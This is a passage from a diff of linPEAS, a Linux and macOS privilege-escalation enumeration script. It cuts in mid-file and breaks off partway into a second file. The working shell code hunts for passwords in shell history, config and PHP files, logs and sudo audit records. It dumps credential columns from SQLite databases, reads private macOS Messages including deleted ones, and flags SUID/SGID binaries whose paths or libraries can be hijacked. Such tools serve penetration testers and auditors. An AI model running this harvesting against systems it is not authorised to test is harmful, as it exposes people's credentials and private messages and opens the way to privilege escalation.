(find $HOMESEARCH -type f 2>/dev/null | grep -v -i "/"$USER | head -n 20) || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Mail applications
|
||||
print_2title "Searching installed mail applications"
|
||||
ls /bin /sbin /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin /etc 2>/dev/null | grep -Ewi "$mail_apps" | sort | uniq
|
||||
echo ""
|
||||
|
||||
##-- IF) Mails
|
||||
print_2title "Mails (limit 50)"
|
||||
(find /var/mail/ /var/spool/mail/ /private/var/mail -type f -ls 2>/dev/null | head -n 50 | sed -${E} "s,$sh_usrs,${SED_RED}," | sed -${E} "s,$nosh_usrs,${SED_BLUE},g" | sed -${E} "s,$knw_usrs,${SED_GREEN},g" | sed "s,root,${SED_GREEN},g" | sed "s,$USER,${SED_RED},g") || echo_not_found
|
||||
echo ""
|
||||
|
||||
##-- IF) Backup folders
|
||||
if [ "$backup_folders" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Backup folders"
|
||||
printf "%s\n" "$backup_folders" | while read b ; do
|
||||
ls -ld "$b" 2> /dev/null | sed -${E} "s,backups|backup,${SED_RED},g";
|
||||
ls -l "$b" 2>/dev/null && echo ""
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
fi
|
||||
|
||||
##-- IF) Backup files
|
||||
print_2title "Backup files (limited 100)"
|
||||
backs=$(find $ROOT_FOLDER -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bak\.*" -o -name "*\.bck" -o -name "*\.bck\.*" -o -name "*\.bk" -o -name "*\.bk\.*" -o -name "*\.old" -o -name "*\.old\.*" \) -not -path "/proc/*" 2>/dev/null)
|
||||
printf "%s\n" "$backs" | head -n 100 | while read b ; do
|
||||
if [ -r "$b" ]; then
|
||||
ls -l "$b" | grep -Ev "$notBackup" | grep -Ev "$notExtensions" | sed -${E} "s,backup|bck|\.bak|\.old,${SED_RED},g";
|
||||
fi;
|
||||
done
|
||||
echo ""
|
||||
|
||||
##-- IF) DB files
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Reading messages database"
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from message' 2>/dev/null
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from attachment' 2>/dev/null
|
||||
sqlite3 $HOME/Library/Messages/chat.db 'select * from deleted_messages' 2>/dev/null
|
||||
|
||||
fi
|
||||
|
||||
|
||||
if [ "$PSTORAGE_DATABASE" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching tables inside readable .db/.sql/.sqlite files (limit 100)"
|
||||
FILECMD="$(command -v file 2>/dev/null)"
|
||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||
if [ "$FILECMD" ]; then
|
||||
echo "Found "$(file "$f") | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||
else
|
||||
echo "Found $f" | sed -${E} "s,\.db|\.sql|\.sqlite|\.sqlite3,${SED_RED},g";
|
||||
fi
|
||||
done
|
||||
SQLITEPYTHON=""
|
||||
echo ""
|
||||
printf "%s\n" "$PSTORAGE_DATABASE" | while read f; do
|
||||
if ([ -r "$f" ] && [ "$FILECMD" ] && file "$f" | grep -qi sqlite) || ([ -r "$f" ] && [ ! "$FILECMD" ]); then #If readable and filecmd and sqlite, or readable and not filecmd
|
||||
if [ "$(command -v sqlite3 2>/dev/null)" ]; then
|
||||
tables=$(sqlite3 $f ".tables" 2>/dev/null)
|
||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||
elif [ "$(command -v python 2>/dev/null)" ] || [ "$(command -v python3 2>/dev/null)" ]; then
|
||||
SQLITEPYTHON=$(command -v python 2>/dev/null || command -v python3 2>/dev/null)
|
||||
tables=$($SQLITEPYTHON -c "print('\n'.join([t[0] for t in __import__('sqlite3').connect('$f').cursor().execute('SELECT name FROM sqlite_master WHERE type=\'table\' and tbl_name NOT like \'sqlite_%\';').fetchall()]))" 2>/dev/null)
|
||||
#printf "$tables\n" | sed "s,user.*\|credential.*,${SED_RED},g"
|
||||
else
|
||||
tables=""
|
||||
fi
|
||||
if [ "$tables" ] || [ "$DEBUG" ]; then
|
||||
printf $GREEN" -> Extracting tables from$NC $f $DG(limit 20)\n"$NC
|
||||
printf "%s\n" "$tables" | while read t; do
|
||||
columns=""
|
||||
# Search for credentials inside the table using sqlite3
|
||||
if [ -z "$SQLITEPYTHON" ]; then
|
||||
columns=$(sqlite3 $f ".schema $t" 2>/dev/null | grep "CREATE TABLE")
|
||||
# Search for credentials inside the table using python
|
||||
else
|
||||
columns=$($SQLITEPYTHON -c "print(__import__('sqlite3').connect('$f').cursor().execute('SELECT sql FROM sqlite_master WHERE type!=\'meta\' AND sql NOT NULL AND name =\'$t\';').fetchall()[0][0])" 2>/dev/null)
|
||||
fi
|
||||
#Check found columns for interesting fields
|
||||
INTCOLUMN=$(echo "$columns" | grep -i "username\|passw\|credential\|email\|hash\|salt")
|
||||
if [ "$INTCOLUMN" ]; then
|
||||
printf ${BLUE}" --> Found interesting column names in$NC $t $DG(output limit 10)\n"$NC | sed -${E} "s,user.*|credential.*,${SED_RED},g"
|
||||
printf "$columns\n" | sed -${E} "s,username|passw|credential|email|hash|salt|$t,${SED_RED},g"
|
||||
(sqlite3 $f "select * from $t" || $SQLITEPYTHON -c "print(', '.join([str(x) for x in __import__('sqlite3').connect('$f').cursor().execute('SELECT * FROM \'$t\';').fetchall()[0]]))") 2>/dev/null | head
|
||||
echo ""
|
||||
fi
|
||||
done
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
echo ""
|
||||
|
||||
if [ "$MACPEAS" ]; then
|
||||
print_2title "Downloaded Files"
|
||||
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2 'select LSQuarantineAgentName, LSQuarantineDataURLString, LSQuarantineOriginURLString, date(LSQuarantineTimeStamp + 978307200, "unixepoch") as downloadedDate from LSQuarantineEvent order by LSQuarantineTimeStamp' | sort | grep -Ev "\|\|\|"
|
||||
fi
|
||||
|
||||
##-- IF) Web files
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Web files?(output limit)"
|
||||
ls -alhR /var/www/ 2>/dev/null | head
|
||||
ls -alhR /srv/www/htdocs/ 2>/dev/null | head
|
||||
ls -alhR /usr/local/www/apache22/data/ 2>/dev/null | head
|
||||
ls -alhR /opt/lampp/htdocs/ 2>/dev/null | head
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) All hidden files
|
||||
print_2title "All hidden files (not in /sys/ or the ones listed in the previous check) (limit 70)"
|
||||
find $ROOT_FOLDER -type f -iname ".*" ! -path "/sys/*" ! -path "/System/*" ! -path "/private/var/*" -exec ls -l {} \; 2>/dev/null | grep -Ev "$INT_HIDDEN_FILES" | grep -Ev "_history$|\.gitignore|.npmignore|\.listing|\.ignore|\.uuid|\.depend|\.placeholder|\.gitkeep|\.keep|\.keepme" | head -n 70
|
||||
echo ""
|
||||
|
||||
##-- IF) Readable files in /tmp, /var/tmp, bachups
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Readable files inside /tmp, /var/tmp, /private/tmp, /private/var/at/tmp, /private/var/tmp, and backup folders (limit 70)"
|
||||
filstmpback=$(find /tmp /var/tmp /private/tmp /private/var/at/tmp /private/var/tmp $backup_folders_row -type f 2>/dev/null | head -n 70)
|
||||
printf "%s\n" "$filstmpback" | while read f; do if [ -r "$f" ]; then ls -l "$f" 2>/dev/null; fi; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Interesting writable files by ownership or all
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Interesting writable files owned by me or writable by everyone (not in Home) (max 500)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||
#In the next file, you need to specify type "d" and "f" to avoid fake link files apparently writable by all
|
||||
obmowbe=$(find $ROOT_FOLDER '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | sort | uniq | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||
printf "%s\n" "$obmowbe" | while read entry; do
|
||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||
elif echo "$entry" | grep -qE "$writeVB"; then
|
||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Interesting writable files by group
|
||||
if ! [ "$IAMROOT" ]; then
|
||||
print_2title "Interesting GROUP writable files (not in Home) (max 500)"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#writable-files"
|
||||
for g in $(groups); do
|
||||
iwfbg=$(find $ROOT_FOLDER '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -path "/sys/*" ! -path "$HOME/*" 2>/dev/null | grep -Ev "$notExtensions" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (act == pre){(cont += 1)} else {cont=0}; if (cont < 5){ print line_init; } if (cont == "5"){print "#)You_can_write_even_more_files_inside_last_directory\n"}; pre=act }' | head -n500)
|
||||
if [ "$iwfbg" ] || [ "$DEBUG" ]; then
|
||||
printf " Group $GREEN$g:\n$NC";
|
||||
printf "%s\n" "$iwfbg" | while read entry; do
|
||||
if echo "$entry" | grep -q "You_can_write_even_more_files_inside_last_directory"; then printf $ITALIC"$entry\n"$NC;
|
||||
elif echo "$entry" | grep -Eq "$writeVB"; then
|
||||
echo "$entry" | sed -${E} "s,$writeVB,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$entry" | sed -${E} "s,$writeB,${SED_RED},"
|
||||
fi
|
||||
done
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in history cmd
|
||||
if [ "$(history 2>/dev/null)" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in history cmd"
|
||||
history | grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in history files
|
||||
if [ "$PSTORAGE_HISTORY" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in history files"
|
||||
printf "%s\n" "$PSTORAGE_HISTORY" | while read f; do grep -Ei "$pwd_inside_history" "$f" 2>/dev/null | sed -${E} "s,$pwd_inside_history,${SED_RED},"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords in config PHP files
|
||||
if [ "$PSTORAGE_PHP_FILES" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching passwords in config PHP files"
|
||||
printf "%s\n" "$PSTORAGE_PHP_FILES" | while read c; do grep -EiI "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" "$c" 2>/dev/null | grep -Ev "function|password.*= ?\"\"|password.*= ?''" | sed '/^.\{150\}./d' | sort | uniq | sed -${E} "s,[pP][aA][sS][sS][wW]|[dD][bB]_[pP][aA][sS][sS],${SED_RED},g"; done
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords files in home
|
||||
if [ "$PSTORAGE_PASSWORD_FILES" ] || [ "$DEBUG" ]; then
|
||||
print_2title "Searching *password* or *credential* files in home (limit 70)"
|
||||
(printf "%s\n" "$PSTORAGE_PASSWORD_FILES" | grep -v "/snap/" | awk -F/ '{line_init=$0; if (!cont){ cont=0 }; $NF=""; act=$0; if (cont < 3){ print line_init; } if (cont == "3"){print " #)There are more creds/passwds files in the previous parent folder\n"}; if (act == pre){(cont += 1)} else {cont=0}; pre=act }' | head -n 70 | sed -${E} "s,password|credential,${SED_RED}," | sed "s,There are more creds/passwds files in the previous parent folder,${C}[3m&${C}[0m,") || echo_not_found
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) TTY passwords
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Checking for TTY (sudo/su) passwords in audit logs"
|
||||
aureport --tty 2>/dev/null | grep -E "su |sudo " | sed -${E} "s,su|sudo,${SED_RED},g"
|
||||
find /var/log/ -type f -exec grep -RE 'comm="su"|comm="sudo"' '{}' \; 2>/dev/null | sed -${E} "s,\"su\"|\"sudo\",${SED_RED},g" | sed -${E} "s,data=.*,${SED_RED},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) IPs inside logs
|
||||
if [ "$DEBUG" ]; then
|
||||
print_2title "Searching IPs inside logs (limit 70)"
|
||||
(find /var/log/ /private/var/log -type f -exec grep -R -a -E -o "(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)" "{}" \;) 2>/dev/null | grep -v "\.0\.\|:0\|\.0$" | sort | uniq -c | sort -r -n | head -n 70
|
||||
echo ""
|
||||
fi
|
||||
|
||||
##-- IF) Passwords inside logs
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
print_2title "Searching passwords inside logs (limit 70)"
|
||||
(find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
if [ "$DEBUG" ]; then
|
||||
##-- IF) Emails inside logs
|
||||
print_2title "Searching emails inside logs (limit 70)"
|
||||
(find /var/log/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
|
||||
|
||||
|
||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
||||
##-- IF) Find possible files with passwords
|
||||
print_2title "Searching passwords inside key folders (limit 70) - only PHP files"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null)
|
||||
else
|
||||
intpwdfiles=$(timeout 150 find $SEARCH_IN_FOLDER -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null)
|
||||
fi
|
||||
printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
|
||||
echo ""
|
||||
|
||||
print_2title "Searching passwords inside key folders (limit 70) - no PHP files"
|
||||
printf "%s\n" "$intpwdfiles" | grep -vI ".php:" | grep -E "^/" | grep ":" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
|
||||
echo ""
|
||||
|
||||
##-- IF) Find possible files with passwords
|
||||
print_2title "Searching possible password variables inside key folders (limit 140)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
else
|
||||
timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
||||
fi
|
||||
wait
|
||||
echo ""
|
||||
|
||||
##-- IF) Find possible conf files with passwords
|
||||
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
|
||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||
else
|
||||
ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
||||
fi
|
||||
printf "%s\n" "$ppicf" | while read f; do
|
||||
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
|
||||
echo "$ITALIC $f$NC"
|
||||
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
|
||||
fi
|
||||
done
|
||||
echo ""
|
||||
fi
|
||||
491
linPEAS/builder/linpeas_parts/8_interesting_perms_files.sh
Normal file
491
linPEAS/builder/linpeas_parts/8_interesting_perms_files.sh
Normal file
@@ -0,0 +1,491 @@
|
||||
###########################################
|
||||
#-) Files with Interesting Permissions (-#
|
||||
###########################################
|
||||
|
||||
check_critial_root_path(){
|
||||
folder_path="$1"
|
||||
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
##-- IPF) SUID
|
||||
print_2title "SUID - Check easy privesc, exploits and write perms"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||
if ! [ "$STRINGS" ]; then
|
||||
echo_not_found "strings"
|
||||
fi
|
||||
if ! [ "$STRACE" ]; then
|
||||
echo_not_found "strace"
|
||||
fi
|
||||
suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||
for s in $suids_files; do
|
||||
s=$(ls -lahtr "$s")
|
||||
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||
if echo "$s" | grep -qE "^total"; then break; fi
|
||||
|
||||
sname="$(echo $s | awk '{print $9}')"
|
||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||
true #Don't do nothing
|
||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
c="a"
|
||||
for b in $sidB; do
|
||||
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
|
||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||
c=""
|
||||
break;
|
||||
fi
|
||||
done;
|
||||
if [ "$c" ]; then
|
||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
|
||||
printf $ITALIC
|
||||
if ! [ "$FAST" ]; then
|
||||
|
||||
if [ "$STRINGS" ]; then
|
||||
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
|
||||
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
|
||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
||||
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||
fi
|
||||
else #If not a path
|
||||
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary
|
||||
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done
|
||||
fi
|
||||
|
||||
if [ "$LDD" ] || [ "$READELF" ]; then
|
||||
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
|
||||
fi
|
||||
if [ "$LDD" ]; then
|
||||
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
if [ "$READELF" ]; then
|
||||
"$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||
fi
|
||||
|
||||
if [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
|
||||
printf $ITALIC
|
||||
echo "----------------------------------------------------------------------------------------"
|
||||
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
|
||||
export LD_LIBRARY_PATH=""
|
||||
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||
printf $NC
|
||||
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
|
||||
echo "----------------------------------------------------------------------------------------"
|
||||
echo ""
|
||||
fi
|
||||
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
fi
|
||||
done;
|
||||
echo ""
|
||||
|
||||
|
||||
##-- IPF) SGID
|
||||
print_2title "SGID"
|
||||
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||
sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||
for s in $sgids_files; do
|
||||
s=$(ls -lahtr "$s")
|
||||
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||
if echo "$s" | grep -qE "^total";then break; fi
|
||||
|
||||
sname="$(echo $s | awk '{print $9}')"
|
||||
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||
true #Don't do nothing
|
||||
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
||||
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||
else
|
||||
c="a"
|
||||
for b in $sidB; do
|
||||
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
|
||||
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||
c=""
|
||||
break;
|
||||
fi
|
||||
done;
|
||||
if [ "$c" ]; then
|
||||
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||
else
|
||||
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
|
||||
printf $ITALIC
|
||||
if ! [ "$FAST" ]; then
|
||||
|
||||
if [ "$STRINGS" ]; then
|
||||
$STRINGS "$sname" | sort | uniq | while read sline; do
|
||||
sline_first="$(echo $sline | cut -d ' ' -f1)"
|
||||
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
||||
